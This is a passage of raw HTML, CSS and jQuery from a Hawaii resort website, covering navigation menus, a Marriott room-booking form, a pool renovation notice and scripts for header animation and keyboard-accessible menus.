class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3610<li class="nav-overview"><a href="https://www.maunakearesort.com/gather/overview" class="sn-link" ><span>Overview</span></a> 3611</li><li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/" class="sn-link" ><span>Mauna Kea Beach Hotel</span></a> 3612<ul class="unstyled-list level3"> 3613<li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/meetings" >Meetings</a> 3614</li><li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/weddings" >Weddings</a> 3615</li></ul> 3616</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/" class="sn-link" ><span>The Westin Hapuna Beach Resort</span></a> 3617<ul class="unstyled-list level3"> 3618<li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/meetings" >Meetings</a> 3619</li><li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/weddings" >Weddings</a> 3620</li></ul> 3621</li><li class="nav-special-events"><a href="https://www.maunakearesort.com/gather/special-events" class="sn-link" ><span>Special Events</span></a> 3622</li></ul> 3623</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/gather.jpg?07516313770842098" alt="Gather" class="object-fit"></div><figcaption>Gather</figcaption></figure><p>Every event is touched by aloha and tailored by our dedicated team to meet each client’s specific needs.</p><p><a gaq='Nav,Promo-Gather' href="" class="lm"></a></p></div></div></div></div></li><li data-pid="7" class="nav-golf"><a href="https://www.maunakearesort.com/golf/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Golf</span></a> 3624<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3625<li class="nav-course-overview"><a href="https://www.maunakearesort.com/golf/course-overview/" class="sn-link" ><span>Course Overview</span></a> 3626<ul class="unstyled-list level3"> 3627<li><a href="https://www.maunakearesort.com/golf/course-overview/mauna-kea-golf-course" >Mauna Kea Golf Course</a> 3628</li><li><a href="https://www.maunakearesort.com/golf/course-overview/hapuna-golf-course" >Hapuna Golf Course</a> 3629</li></ul> 3630</li><li class="nav-tee-times"><a href="https://www.maunakearesort.com/golf/tee-times" class="sn-link" ><span>Tee Times</span></a> 3631</li><li class="nav-photo-gallery"><a href="https://www.maunakearesort.com/golf/photo-gallery" class="sn-link" ><span>Photo Gallery</span></a> 3632</li><li class="nav-caddy-corner-tips"><a href="https://www.maunakearesort.com/golf/caddy-corner-tips" class="sn-link" ><span>Caddy Corner / Tips</span></a> 3633</li><li class="nav-golf-packages"><a href="https://www.maunakearesort.com/golf/golf-packages" class="sn-link" ><span>Golf Packages</span></a> 3634</li></ul> 3635</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/golf.jpg?012880319254268224" alt="Mauna Kea Golf Package" class="object-fit"></div><figcaption>Mauna Kea Golf Package</figcaption></figure><p>10% off Best Available Rates, Daily Buffet Breakfast for Two, 50% off Green Fees at Mauna Kea Golf Course </p><p><a gaq='Nav,Promo-MaunaKeaGolfPackage' href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAAK&cc=YQ5&scid=undefined" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="8" class="nav-culture"><a href="https://www.maunakearesort.com/culture/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Culture </span></a> 3636<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3637<li class="nav-overview"><a href="https://www.maunakearesort.com/culture/overview" class="sn-link" ><span>Overview</span></a> 3638</li><li class="nav-currents"><a href="https://www.maunakearesort.com/culture/currents" class="sn-link" ><span>Currents</span></a> 3639</li><li class="nav-history"><a href="https://www.maunakearesort.com/culture/history" class="sn-link" ><span>History</span></a> 3640</li><li class="nav-art-collection"><a href="https://www.maunakearesort.com/culture/art-collection" class="sn-link" ><span>Art Collection</span></a> 3641</li><li class="nav-discovery-center"><a href="https://www.maunakearesort.com/culture/discovery-center" class="sn-link" ><span>Discovery Center</span></a> 3642</li><li class="nav-island-culture"><a href="https://www.maunakearesort.com/culture/island-culture" class="sn-link" ><span>Island Culture</span></a> 3643</li><li class="nav-sustainability"><a href="https://www.maunakearesort.com/culture/sustainability" class="sn-link" ><span>Sustainability</span></a> 3644</li><li class="nav-on-property-cultural-activities"><a href="https://www.maunakearesort.com/culture/on-property-cultural-activities" class="sn-link" ><span>On-Property Cultural Activities</span></a> 3645</li></ul> 3646</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/ArtApp_mobilehand.JPG?07695134876102387" alt="Immersive Art App" class="object-fit"></div><figcaption>Immersive Art App</figcaption></figure><p>From Hawaiian Quilts to traditional Kapa, learn what inspired this collection of unique pieces of art and rare artifacts using our new web-based art app!</p><p><a gaq='Nav,Promo-ImmersiveArtApp' href="https://www.maunakearesort.com/art-app" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="572" class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Mauna Kea Beach Hotel</span></a> 3647<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2"> 3648<li class="nav-our-story"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/" class="sn-link" ><span>Our Story</span></a> 3649<ul class="unstyled-list level3"> 3650<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aloha/" >Aloha</a> 3651</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aina/" >Aina</a> 3652</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/art-and-culture/" >Art & Culture</a> 3653</li></ul> 3654</li><li class="nav-stay"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/" class="sn-link" ><span>Stay</span></a> 3655<ul class="unstyled-list level3"> 3656<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/overview" >Overview</a> 3657</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/suites/" >Suites</a> 3658</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/beachfront-wing/" >Beachfront Wing</a> 3659</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/main-tower/" >Main Tower</a> 3660</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/personalize-your-trip/" >Personalize your Trip</a> 3661</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/experiences/" >Experiences</a> 3662</li></ul> 3663</li><li class="nav-dining"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/" class="sn-link" ><span>Dining</span></a> 3664<ul class="unstyled-list level3"> 3665<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/overview" >Overview</a> 3666</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/mauna-kea-luau" >Mauna Kea Luau</a> 3667</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/signature/" >Signature</a> 3668</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/casual/" >Casual</a> 3669</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/in-room-dining" >In-Room Dining</a> 3670</li></ul> 3671</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/" class="sn-link" ><span>Wellness</span></a> 3672<ul class="unstyled-list level3"> 3673<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/overview" >Overview</a> 3674</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/spa" >The Spa</a> 3675</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/fitness" >Fitness</a> 3676</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/wellness-experiences" >Wellness Experiences</a> 3677</li></ul> 3678</li><li class="nav-golf-and-tennis"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/" class="sn-link" ><span>Golf & Tennis</span></a> 3679<ul class="unstyled-list level3"> 3680<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/overview" >Golf & Tennis Overview</a> 3681</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/golf/" >Golf</a> 3682</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/tennis-and-pickleball" >Seaside Racquet Club</a> 3683</li></ul> 3684</li><li class="nav-celebrate-and-romance"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/" class="sn-link" ><span>Celebrate & Romance</span></a> 3685<ul class="unstyled-list level3"> 3686<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/overview" >Celebrate & Romance Overview</a> 3687</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/gather" >Gather</a> 3688</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/site-experiences" >Site Experiences</a> 3689</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/weddings/" >Weddings</a> 3690</li></ul> 3691</li></ul> 3692</div></div><div class="col col-2"></div></div></div></li></ul> 3693 3694 <button class="btn-pill js-btn-reserve">Reserve</button> 3695 </nav> 3696 </div> 3697 3698 </div> 3699 3700 <button type="button" class="nav-toggle js-primary-toggle"><span><span class="ada-hidden">Menu</span></span></button> 3701 3702 <style>.site-book{box-sizing:border-box;position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 109px);overflow-y:auto;background-color:#fff;color:#56534d;padding-top:.5em;opacity:0;pointer-events:none;transform:translateY(-100%);transition:opacity .75s ease,transform .75s ease}.isHeaderMin .site-book{height:calc(100vh - 56px)}@media screen and (max-width:1023px){.site-book{height:calc(100vh - 60px)}}.site-book .flex-cols{height:100%}@media screen and (max-width:1023px){.site-book .flex-cols{justify-content:center}}.book-promo-slide{display:none}</style> 3703 3704 3705<div id="book" class="site-book"> 3706 <div class="flex-cols sb-inner"> 3707 <div class="col-1-2 sb-col-1"> 3708 <div class="book-promo-slider"> 3709 <div class="book-promo-slide" data-promo="KOAAK" style="display: block;"> 3710 <figure class="book-promo"> 3711 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hapuna.jpg" alt="Mauna Kea Beach Hotel" class="object-fit"></div> 3712 <figcaption> 3713 3714 </figcaption> 3715 </figure> 3716 </div> 3717 <div class="book-promo-slide" data-promo="KOAWI"> 3718 <figure class="book-promo"> 3719 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/westin.jpg" alt="The Westin Hapuna Beach Resort" class="object-fit"></div> 3720 <figcaption> 3721 <h3><em>The Westin</em> Hapuna Beach Resort</h3> 3722 <p>
3722<a href="/stay/westin-hapuna-beach-resort/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about The Westin Hapuna Beach Resort</span></a></p> 3723 </figcaption> 3724 </figure> 3725 </div> 3726 <div class="book-promo-slide" data-promo="residences"> 3727 <figure class="book-promo"> 3728 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/residences.jpg" alt="Mauna Kea Residences" class="object-fit"></div> 3729 <figcaption> 3730 <h3><em>Mauna Kea</em> Residences</h3> 3731 <p><a href="/stay/mauna-kea-residences/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Mauna Kea Residences</span></a></p> 3732 </figcaption> 3733 </figure> 3734 </div> 3735 <div class="book-promo-slide" data-promo="40177"> 3736 <figure class="book-promo"> 3737 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/manta.jpg" alt="Manta" class="object-fit"></div> 3738 <figcaption> 3739 <h3><em>Manta</em></h3> 3740 <p><a href="/dine/signature/manta" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Manta</span></a></p> 3741 </figcaption> 3742 </figure> 3743 </div> 3744 <div class="book-promo-slide" data-promo="350437"> 3745 <figure class="book-promo"> 3746 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/copper-bar.jpg" alt="Copper Bar" class="object-fit"></div> 3747 <figcaption> 3748 <h3><em>Copper</em> Bar</h3> 3749 <p><a href="/dine/casual/copper-bar" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Copper Bar</span></a></p> 3750 </figcaption> 3751 </figure> 3752 </div> 3753 <div class="book-promo-slide" data-promo="350440"> 3754 <figure class="book-promo"> 3755 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hau-tree.jpg" alt="Hau Tree" class="object-fit"></div> 3756 <figcaption> 3757 <h3><em>Hau</em> Tree</h3> 3758 <p><a href="/dine/casual/hau-tree" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Hau Tree</span></a></p> 3759 </figcaption> 3760 </figure> 3761 </div> 3762 <div class="book-promo-slide" data-promo="1147462"> 3763 <figure class="book-promo"> 3764 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/naupaka.jpg" alt="Naupaka" class="object-fit"></div> 3765 <figcaption> 3766 <h3><em>Naupaka</em></h3> 3767 <p><a href="/dine/casual/naupaka-beach-grill" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Naupaka</span></a></p> 3768 </figcaption> 3769 </figure> 3770 </div> 3771 <div class="book-promo-slide" data-promo="987028"> 3772 <figure class="book-promo"> 3773 <div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/meridia.jpg" alt="Meridia" class="object-fit"></div> 3774 <figcaption> 3775 <h3><em>Meridia</em></h3> 3776 <p><a href="/dine/signature/meridia" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Meridia</span></a></p> 3777 </figcaption> 3778 </figure> 3779 </div> 3780 </div> 3781 </div> 3782 <div class="col-1-2 sb-col-2"> 3783 <div class="book-tabs-wrap"> 3784 <div role="tablist" class="book-tabs"> 3785 <button role="tab" class="book-tab" data-tab="stay" tabindex="-1" aria-selected="true" aria-controls="book-tabpanel-1" id="book-tab-1"><span class="bed-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 419.13 266.93"><path class="bed-icon-1" d="M411.27 69.63c-4.34 0-7.87 3.52-7.87 7.87v28.98H115.09c3.97-4.64 6.23-10.04 6.23-15.86 0-17.72-20.83-31.59-47.42-31.59S26.49 72.91 26.49 90.62c0 5.82 2.26 11.23 6.23 15.86H15.73V7.87C15.73 3.52 12.21 0 7.87 0S0 3.52 0 7.87v251.2c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87v-72.72H403.4v72.72c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87V77.49c0-4.34-3.52-7.87-7.87-7.87ZM42.22 90.6c0-7.49 13.55-15.86 31.68-15.86s31.69 8.38 31.69 15.86-13.55 15.86-31.69 15.86-31.68-8.38-31.68-15.86Zm-26.49 80.02V122.2H403.4v48.42H15.73Z"/></svg></span> Stay</button> 3786 <button role="tab" class="book-tab" data-tab="dine" tabindex="-1" aria-selected="false" aria-controls="book-tabpanel-2" id="book-tab-2"><span class="dine-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 418.95 286.58"><path class="dine-icon-1" d="M211.3 44.7c-64.66 0-117.27 52.61-117.27 117.27s52.61 117.27 117.27 117.27 117.27-52.61 117.27-117.27S275.96 44.7 211.3 44.7Zm0 220.8c-57.08 0-103.52-46.44-103.52-103.52S154.22 58.46 211.3 58.46s103.52 46.44 103.52 103.52S268.38 265.5 211.3 265.5ZM415.37.85a6.863 6.863 0 0 0-7 .23c-2.08
37861.33-50.85 33.7-50.85 141.73 0 3.8 3.08 6.88 6.88 6.88h40.8v130.02a6.88 6.88 0 1 0 13.76 0V6.88c0-2.51-1.37-4.82-3.57-6.03Zm-44.03 135.09c1.01-48.31 12.55-78.89 22.3-96.26 4.02-7.15 8.05-12.68 11.55-16.82v113.08h-33.85ZM72.88 0A6.88 6.88 0 0 0 66 6.88v86.16c0 1.26-1.03 2.29-2.29 2.29H46.75V6.88c0-3.8-3.08-6.88-6.87-6.88S33 3.08 33 6.88v88.46H16.04c-1.26 0-2.29-1.03-2.29-2.29V6.88c0-3.8-3.08-6.88-6.87-6.88S0 3.08 0 6.88v86.16c0 8.85 7.2 16.04 16.04 16.04H33V279.7a6.88 6.88 0 1 0 13.76 0V109.09h16.96c8.85 0 16.04-7.2 16.04-16.04V6.88C79.75 3.08 76.67 0 72.88 0Z"/></svg></span> Dine</button> 3787 </div> 3788 <div class="book-tabs-content"> 3789 <div role="tabpanel" id="book-tabpanel-1" aria-labelledby="book-tab-1" tabindex="-1" style="display: block;"> 3790 <form class="book-form stay-form" method="get" action="https://www.marriott.com/reservation/availabilitySearch.mi" target="_blank"> 3791 <div class="field field-pill"> 3792 <select id="staySelect" name="propertyCode" class="js-input" tabindex="-1"> 3793 <option value="KOAAK">Mauna Kea Beach Hotel</option> 3794 <option value="KOAWI">The Westin Hapuna Beach Resort</option> 3795 <option value="residences">Mauna Kea Residences</option> 3796 </select> 3797 <label for="staySelect">Choose a Hotel</label> 3798 <i class="arrow"></i> 3799 </div> 3800 <div class="field field-pill"> 3801 <input type="text" id="bookCheckIn" name="fromDate" class="book-check-in" readonly autocomplete="off" tabindex="-1"> 3802 <label for="bookCheckIn">Check In</label> 3803 <i class="arrow"></i> 3804 </div> 3805 <div class="field field-pill"> 3806 <input type="text" id="bookCheckOut" name="toDate" class="book-check-out" readonly autocomplete="off" tabindex="-1"> 3807 <label for="bookCheckOut">Check Out</label> 3808 <i class="arrow"></i> 3809 </div> 3810 <div class="field field-room"> 3811 <div data-trigger="spinner" class="spinner" id="roomSpinner"> 3812 <button type="button" data-spin="down" tabindex="-1">-</button> 3813 <div> 3814 <input type="text" name="numberOfRooms" id="bookRooms" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1"> 3815 <label for="bookRooms">Rooms</label> 3816 </div> 3817 <button type="button" data-spin="up" tabindex="-1">+</button> 3818 </div> 3819 </div> 3820 <div class="field"> 3821 <div data-trigger="spinner" class="spinner" id="guestsSpinner"> 3822 <button type="button" data-spin="down" tabindex="-1">-</button> 3823 <div> 3824 <input type="text" name="numberOfGuests" id="bookAdults" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1"> 3825 <label for="bookAdults">Adult</label> 3826 </div> 3827 <button type="button" data-spin="up" tabindex="-1">+</button> 3828 </div> 3829 </div> 3830 <div class="field field-children"> 3831 <div data-trigger="spinner" class="spinner" id="childrenSpinner"> 3832 <button type="button" data-spin="down" tabindex="-1">-</button> 3833 <div> 3834 <input type="text" name="childrenCount" id="bookChildren" value="0" data-ruler="quantity" data-min="0" data-max="4" tabindex="-1"> 3835 <label for="bookChildren">Children</label> 3836 </div> 3837 <button type="button" data-spin="up" tabindex="-1">+</button> 3838 </div> 3839 </div> 3840 <div class="field field-promo"> 3841 <input type="text" id="bookPromo" name="corporateCode" class="js-input" tabindex="-1"> 3842 <label for="bookPromo">Promo Code</label> 3843 </div> 3844 <button class="btn-pill" type="submit" tabindex="-1">Check Availability</button> 3845 </form> 3846 <div class="mobile-book-notice"> 3847 <h3 class="h4">MAUNA KEA BEACH HOTEL RENOVATION NOTICE: <span class="normal">Pool & Beach Wing Closure</span></h3> 3848 <p class="disclaimer">Our hotel pool will be closed from February 2025 through November 2025; however, guests can still enjoy our beach services at Kaunaâoa Bay. Noisy work will be restricted to the hours of 9AM to 5PM daily and contained behind safety barriers. Call for more details.</p> 3849 <p><a href="/renewal" class="lm" tabindex="-1">
3849Learn More <span class="ada-hidden">(Renovation details)</span></a></p> 3850 </div> 3851 </div> 3852 <div role="tabpanel" id="book-tabpanel-2" aria-labelledby="book-tab-2" tabindex="-1"> 3853 <div class="dine-scripts"> 3854 <!--
3854<script type='text/javascript' src='//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false' ></script>
3854 --> 3855 <div class="luau-callout"><p class="book-dine-luau">For The Mauna Kea Luau reservations,<br> please <a href="https://fareharbor.com/embeds/book/maunakearesortevents/items/413305/?full-items=yes&flow=829426" target="_blank" rel="noopener" tabindex="-1">click here <span class="ada-hidden">to book a reservation</span></a>.</p></div> 3856 </div> 3857 </div> 3858 </div> 3859 </div> 3860 </div> 3861 </div> 3862 <button type="button" class="btn-close js-book-close" aria-label="Close reservation panel" tabindex="-1"></button> 3863</div> 3864 3865 3866 3867</header> 3868 3869
3870<script> 3871 _hdmq.add(function(){ 3872 3873 // double tap for touch devices 3874 $('.site-nav').doubleTapToGo({ 3875 selectorChain: 'li:has(".dd-nav")' 3876 }); 3877 3878 //HEADER MIN ANIMATE 3879 var isHeaderMin=false; 3880 function updateHeaderMin(){ 3881 if($(window).scrollTop()>100 && window.innerWidth>767){ 3882 if(isHeaderMin==true) return; 3883 isHeaderMin=true; 3884 $('body').addClass('isHeaderMin'); 3885 }else{ 3886 if(isHeaderMin==false) return; 3887 isHeaderMin=false; 3888 $('body').removeClass('isHeaderMin'); 3889 } 3890 } 3891 $(window).scroll(updateHeaderMin); 3892 $(window).resize(updateHeaderMin); 3893 updateHeaderMin(); 3894 3895 3896 // Nav toggle button 3897 const navToggle = document.querySelector('.js-primary-toggle'); 3898 navToggle.addEventListener('click', function () { 3899 const docBody = document.querySelector('body'); 3900 if (docBody.classList.contains('book-active')) { 3901 docBody.classList.remove('book-active'); 3902 } 3903 docBody.classList.toggle('active-nav'); 3904 }); 3905 3906 3907 // Handle submenus on hover 3908 $('.primary-nav > li').each(function(i, el) { 3909 let timer; 3910 let $el = $(el); 3911 let $subnav = $el.find('.dd-nav'); 3912 let $body = $('body'); 3913 3914 $el 3915 .mouseenter( function() { 3916 $body.addClass('active-subnav'); 3917 3918 if ($subnav.length) { 3919 $subnav.addClass('open'); 3920 $subnav.siblings('.pn-link').attr('aria-expanded', true); 3921 } 3922 }) 3923 .mouseleave(function() { 3924 $body.removeClass('active-subnav'); 3925 3926 if ($subnav.length) { 3927 $subnav.removeClass('open'); 3928 $subnav.siblings('.pn-link').attr('aria-expanded', false); 3929 } 3930 }); 3931 3932 }); 3933 3934 // move utility items for mobile 3935 function setUtilityItems() { 3936 const themeToggle = $('.theme-toggle, .theme-overlay'); 3937 const reserveButton = $('.btn-pill.js-btn-reserve'); 3938 3939 if ($(window).width() < 768) { 3940 $('.mobile-utility').prepend(themeToggle); 3941 $('.mobile-utility').append(reserveButton); 3942 } else { 3943 $('.un-tt').prepend(themeToggle); 3944 $('.site-nav').append(reserveButton); 3945 } 3946 } 3947 setUtilityItems(); 3948 window.addEventListener('resize', _.debounce(setUtilityItems, 250)); 3949 3950 3951 // Make nav keyboard accessible 3952 function navKeyHandler(e) { 3953 let $this = $(this); // focused element 3954 let $activeSubnav = $('.dd-nav.open'); 3955 3956 // if focused element has items to the right, detect right arrow press 3957 let $nextSibling = $this.closest('.primary-nav > li').next('li').children('.pn-link'); 3958 if ($nextSibling.length) { 3959 if (e.keyCode == '39') { 3960 $nextSibling.focus(); 3961 $activeSubnav.removeClass('open'); 3962 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 3963 } 3964 } 3965 3966 // if focused element has items to the left, detect left arrow press 3967 let $prevSibling = $this.closest('.primary-nav > li').prev('li').children('.pn-link'); 3968 if ($prevSibling.length) { 3969 if (e.keyCode == '37') { 3970 $prevSibling.focus(); 3971 $activeSubnav.removeClass('open'); 3972 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 3973 } 3974 } 3975 3976 // if focused element has items below, detect down arrow press 3977 let $subnav = $this.siblings('.dd-nav'); 3978 let $firstSubnavItem = $subnav.find('.subnav').children('li:first-child').children('.sn-link'); 3979 3980 if ($firstSubnavItem.length) { 3981 if (e.keyCode == '40') { 3982 // open active subnav 3983 $subnav.addClass('open'); 3984 // update aria expanded on active subnav 3985 $subnav.siblings('.pn-link').attr('aria-expanded', true); 3986 // deactivate other active subnavs 3987 $activeSubnav.removeClass('open'); 3988 // update aria expanded on deactivated subnavs 3989 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 3990 // set focus to first item 3991 $firstSubnavItem.focus(); 3992 } 3993 } 3994 3995 // make subnav items tabbable when open 3996 $('.dd-nav').each(function(i, el) { 3997 let _this = $(el); 3998 3999 // toggle tabindex 4000 if (_this.hasClass('open')) { 4001 _this.find('a').attr('tabindex', 0); 4002 } else { 4003 _this.find('a').attr('tabindex', -1); 4004 } 4005 }); 4006 4007 4008 // if tabbed to primary nav link, hide subnavs 4009 let isPnLink = $this.hasClass('pn-link') 4010 if (isPnLink) { 4011 if (e.keyCode == 9) { 4012 // make links untabbale 4013 $activeSubnav.find('a').attr('tabindex', -1); 4014 // hide other active subnavs 4015 $activeSubnav.removeClass('open'); 4016 // update aria expanded 4017 $activeSubnav.siblings('.pn-link').attr('aria-expanded', false); 4018 } 4019 } 4020 4021 // if focus leaves active subnav 4022 $(document).click(function(event) { 4023 var $target = $(event.target); 4024 if(!$target.closest('.dd-nav.open').length && $('.dd-nav.open').is(":visible")) { 4025 $('.dd-nav.open').removeClass('open') 4026 } 4027 }); 4028 } 4029 4030 4031 // bind handler to all links in primary nav 4032 $('.primary-nav a').off('keyup').on('keyup', navKeyHandler); 4033 4034 // make weather icons inline svgs 4035 inlineSVG('.weather-icon'); 4036 4037 4038 //make different hover colors for Westin Hapuna dining places 4039 const diningSubnav = $('.nav-dine .subnav .level3'); //select dining subnav 4040 4041 const meridia = diningSubnav.find("a[href$='meridia']"); //select item that ends with a certain page 4042 meridia.addClass('green');
4042 //add class 4043 4044 const plumeriaMarket = diningSubnav.find("a[href$='plumeria-market']"); 4045 plumeriaMarket.addClass('green'); 4046 4047 const piko = diningSubnav.find("a[href$='piko']"); 4048 piko.addClass('green'); 4049 4050 const ikenaLanding = diningSubnav.find("a[href$='ikena-landing']"); 4051 ikenaLanding.addClass('green'); 4052 4053 const naupakaBeachGrill = diningSubnav.find("a[href$='naupaka-beach-grill']"); 4054 naupakaBeachGrill.addClass('green'); 4055 4056 const westinHapuna = diningSubnav.find("a[href$='the-westin-hapuna-beach-resort']"); 4057 westinHapuna.addClass('green'); 4058 4059 //ADA fixes add descriptive text 4060 var promos = document.querySelectorAll('.subnav-promo'); 4061 4062 for (var i = 0; i < promos.length; i++) { 4063 var promo = promos[i]; 4064 var figcaption = promo.querySelector('figcaption'); 4065 var link = promo.querySelector('a.lm'); 4066 4067 if (figcaption && link) { 4068 var captionText = figcaption.textContent.trim(); 4069 4070 // Create the ADA hidden span 4071 var adaSpan = document.createElement('span'); 4072 adaSpan.className = 'ada-hidden'; 4073 adaSpan.textContent = 'About ' + captionText; 4074 4075 // Append the hidden span to the link (if not already there) 4076 if (!link.querySelector('.ada-hidden')) { 4077 link.appendChild(adaSpan); 4078 } 4079 } 4080 } 4081 4082 }); 4083</script>
4083 4084 4085 4086 4087<style></style> 4088 4089 4090 4091 4092 4093 4094<div id="hero" class="full-height has-loader"> 4095 <style>#hero{box-sizing:border-box;min-height:410px;position:relative;overflow:hidden;z-index:2;background-color:#fff;color:#fff;margin-bottom:2em}#hero.full-height{height:100vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.full-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.full-height{height:954px}}@media screen and (max-width:767px){#hero.full-height{height:420px}}#hero.interior-height{height:80vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.interior-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.interior-height{height:954px}}@media screen and (max-width:767px){#hero.interior-height{height:420px}}#hero.partial-height{height:600px}@media screen and (max-width:767px){#hero.partial-height{height:360px}}#hero.small-height{height:500px}@media screen and (max-width:767px){#hero.small-height{height:360px}}@media screen and (max-width:767px){#hero{min-height:0}}.hero{position:relative;height:100%;overflow:hidden;max-width:3840px;margin:0 auto;transition:opacity .6s ease}@media screen and (max-width:767px){.hero{padding-top:60px}}.hero.loading{visibility:hidden;opacity:0}.hero figcaption{box-sizing:border-box;position:absolute;top:50%;left:50%;z-index:2;width:90%;color:currentColor;text-shadow:.1em 0 .4em #000;text-align:center;transform:translate(-50%,-50%)}.hero figcaption h2{font-family:"Lora",serif;font-size:1.75rem;letter-spacing:.05em;text-transform:none}.hero figcaption .inner{width:auto;max-width:none}@media screen and (max-width:767px){.hero figcaption{font-size:16px;text-align:center}.hero figcaption br{display:none}}@media screen and (max-width:480px){.hero figcaption{width:70%}}@media screen and (max-width:768px){.hero{margin-left:0}}.hero .btn{background:#ff671f;padding:4px 20px;color:currentColor}.hero .btn:before,.hero .btn:after{display:none}@media screen and (max-width:767px){.hero .slick-arrow{top:calc(50% + 30px)}}.hero-slide{position:relative;overflow:hidden}.hero-nav{box-sizing:border-box;position:absolute;bottom:5.4%;right:5%;z-index:2;color:currentColor}@media screen and (max-width:767px){.hero-nav{min-height:40px;bottom:.75em}}.hero-nav .slick-arrow{position:relative;top:auto;transform:none;margin:0 .35rem}.hero-nav .slick-prev{left:auto}.hero-nav 